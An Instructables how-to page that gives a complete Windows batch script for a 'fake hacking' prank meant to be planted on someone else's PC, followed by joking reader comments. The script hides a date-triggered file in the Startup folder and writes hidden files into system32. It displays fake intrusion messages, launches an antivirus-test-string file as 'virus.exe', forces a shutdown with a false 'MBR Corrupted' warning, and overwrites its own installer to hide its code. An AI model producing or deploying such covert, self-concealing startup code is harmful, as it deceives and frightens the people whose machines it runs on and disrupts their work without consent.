3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

Fake Hacking Bat File (my version)

Fake Hacking Bat File (my version)
Firstly NOT MY IDEA, I was inspired by this post http://www.instructables.com/id/FBI-Computer-Tracing-Prank/. But there is no FBI in India, (not that I know of) so I decided to make a bat file that simulates someone hacking your computer.
The code is more or less same, but I've added a few extra lines.

The file contains an installer file.
On execution it searches for three files-
1) Kick.bat - It starts the main file (switch.bat) on a specific date.

2) Switch.bat - It shows some fancy hacking like text, numbers etc in command prompt and then copies virus.exe and executes it and in the end shutdown the PC.

3) Vback.nrk - .nrk is my extention I use to keep backups of my codes. It is copied as virus.exe. It contains a EICAR ANTIVIRUS TEST STRING, it is read as a real virus by all antivirus but is safe.

If it doesn't finds any of the above file then it creates them. If these files exist then the installer file re-writes itself, so that the victim cannot find it's real coding.
 
Remove these adsRemove these ads by Signing Up
 

Step 1Making the File

Making the File
Copy and Paste the following code in Notepad and save it as anything.bat
@echo off
if exist "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat" goto done

echo @echo off > "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo title Kick >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
set trig=01 >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
rem change the above trig value to any date you want the file to run

set datee=%date% >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
set datee1=%datee:~7,2% >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"

if not "%trig%"=="%datee1%" goto :dud >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo start "C:\WINDOWS\system32\switch.bat" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo exit >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo :dud >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo exit >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
attrib +h "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"

if exist "C:\WINDOWS\system32/switch.bat" goto done

echo @echo off > "C:\WINDOWS\system32\switch.bat"
echo color 07 >> "C:\WINDOWS\system32\switch.bat"
echo title Connecting from 135.234.77.11 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  HOST MACHINE FOUND........................... >> "C:\WINDOWS\system32\switch.bat"
echo set count1=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a1 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count1%"=="500" goto next1 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count1+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a1 >> "C:\WINDOWS\system32\switch.bat"
echo :next1 >> "C:\WINDOWS\system32\switch.bat"

echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  ACQURING HOST IP ADDRESS..................... >> "C:\WINDOWS\system32\switch.bat"
echo set count2=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a2 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count2%"=="500" goto next2 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count2+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a2 >> "C:\WINDOWS\system32\switch.bat"
echo :next2 >> "C:\WINDOWS\system32\switch.bat"

echo ipconfig/all >> "C:\WINDOWS\system32\switch.bat"
echo echo  HOST IP ADDRESS ACQURIED..................... >> "C:\WINDOWS\system32\switch.bat"
echo set count3=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a3 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count3%"=="500" goto next3 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count3+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a3 >> "C:\WINDOWS\system32\switch.bat"
echo :next3 >> "C:\WINDOWS\system32\switch.bat"

echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  SEARCHING FOR OPEN TERMINALS................. >> "C:\WINDOWS\system32\switch.bat"
echo set count4=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a4 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count4%"=="500" goto next4 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count4+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a4 >> "C:\WINDOWS\system32\switch.bat"
echo :next4 >> "C:\WINDOWS\system32\switch.bat"

echo set count5=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a5 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count5%"=="500" goto next5 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count5+=1 >> "C:\WINDOWS\system32\switch.bat"
echo echo  %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random% >> "C:\WINDOWS\system32\switch.bat"
echo goto a5 >> "C:\WINDOWS\system32\switch.bat"
 echo:next5 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  OPEN TERMINAL FOUND........................... >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random% >> "C:\WINDOWS\system32\switch.bat"
echo set count6=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a6 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count6%"=="500" goto next6 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count6+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a6 >> "C:\WINDOWS\system32\switch.bat"
echo :next6 >> "C:\WINDOWS\system32\switch.bat"

echo echo.
echo echo  INITIATING BRUTE FORCE ATTACK ON FIREWALL..... >> "C:\WINDOWS\system32\switch.bat"
echo set count7=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a7 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count7%"=="500" goto next7 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count7+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a7 >> "C:\WINDOWS\system32\switch.bat"
echo :next7 >> "C:\WINDOWS\system32\switch.bat"

echo set count8=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a8 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count8%"=="500" goto next8 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count8+=1 >> "C:\WINDOWS\system32\switch.bat"
echo echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random% >> "C:\WINDOWS\system32\switch.bat"
echo goto a8 >> "C:\WINDOWS\system32\switch.bat"
echo :next8 >> "C:\WINDOWS\system32\switch.bat"

echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  FIREWALL DISABLED............................. >> "C:\WINDOWS\system32\switch.bat"
echo set count9=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a9 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count9%"=="500" goto next9 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count9+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a9 >> "C:\WINDOWS\system32\switch.bat"
echo :next9 >> "C:\WINDOWS\system32\switch.bat"

echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  COPYING ALL FILES............................. >> "C:\WINDOWS\system32\switch.bat"
echo set count10=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a10 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count10%"=="500" goto next10 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count10+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a10 >> "C:\WINDOWS\system32\switch.bat"
echo :next10 >> "C:\WINDOWS\system32\switch.bat"

echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo dir /s >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  COPYING COMPLETE.............................. >> "C:\WINDOWS\system32\switch.bat"
echo set count11=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a11 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count11%"=="500" goto next11 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count11+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a11 >> "C:\WINDOWS\system32\switch.bat"
echo :next11 >> "C:\WINDOWS\system32\switch.bat"

echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  INSTALLING K1ll5W1T(H.exe..................... >> "C:\WINDOWS\system32\switch.bat"

echo copy "C:\WINDOWS\system32\vback.nrk" "C:\WINDOWS\virus.exe" >> "C:\WINDOWS\system32\switch.bat"
echo set count12=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a12 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count12%"=="500" goto next12 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count12+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a12 >> "C:\WINDOWS\system32\switch.bat" 
echo :next12 >> "C:\WINDOWS\system32\switch.bat"

echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  K1ll5W1T(H.exe INSTALLATION COMPLETE.......... >> "C:\WINDOWS\system32\switch.bat"
echo set count13=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a13 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count13%"=="500" goto next13 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count13+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a13 >> "C:\WINDOWS\system32\switch.bat"
echo :next13 >> "C:\WINDOWS\system32\switch.bat"

echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo  EXECUTING K1ll5W1T(H.exe...................... >> "C:\WINDOWS\system32\switch.bat"
echo start "C:\WINDOWS\virus.exe" >> "C:\WINDOWS\system32\switch.bat"
echo set count14=0 >> "C:\WINDOWS\system32/switch.bat"
echo :a14 >> "C:\WINDOWS\system32/switch.bat"
echo if "%count14%"=="500" goto next14 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count14+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a14 >> "C:\WINDOWS\system32\switch.bat"
echo :next14 >> "C:\WINDOWS\system32\switch.bat"

echo shutdown -l -tp 30 -c "MBR Corrupted! Windows is Shutting Down" >> "C:\WINDOWS\system32\switch.bat"
echo exit >> "C:\WINDOWS\system32\switch.bat"
attrib +h "C:\WINDOWS\system32\switch.bat"

if exist "C:\WINDOWS\system32\vback.nrk" goto done
echo X5O!P%@AP[4\PZX54(P^)7CC)7}$K1ll5W1T(H ALERT CORRUPTING SYSTEM SHUTDOWN!$H+H* > "C:\WINDOWS\system32\vback.nrk"
attrib +h "C:\WINDOWS\system32\vback.nrk"

:done
echo dir/s > %0
exit
« Previous StepDownload PDFView All StepsNext Step »
5 comments
Feb 5, 2012. 4:21 PMsokamiwohali says:
haha...awesome...but if you prank someone, how do you delete it fom the computer so you dont lose friends (if they were to figure out you did it)? when i made the FBI Prank, my wife about killed me, so if i prank her with this, i would like to know how to take it off so she dont divorce me...lol

none the less, by the way it looks from the coding, one could surely freak someone the hell out!!!...haha
Feb 6, 2012. 7:03 PMsokamiwohali says:
your welcome. The coding isnt why i said it would freak someone out. its the messages in the coding. its alright if theres a bunch of coding...do it however is easier for you...me myself, i use templates to get an idea, then i look up the coding "terms" that i want (such as echo off, and what not) to help me make it.

I cant wait for the next one you come up with!!
Feb 7, 2012. 8:34 AMsokamiwohali says:
hahaha...osm

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
4
Followers
8
Author:Tanmay Das(T.J 4119)
facere non quia tibi habere ut facere quia tibi vis ut Latin for : Do not because you have to do because you want to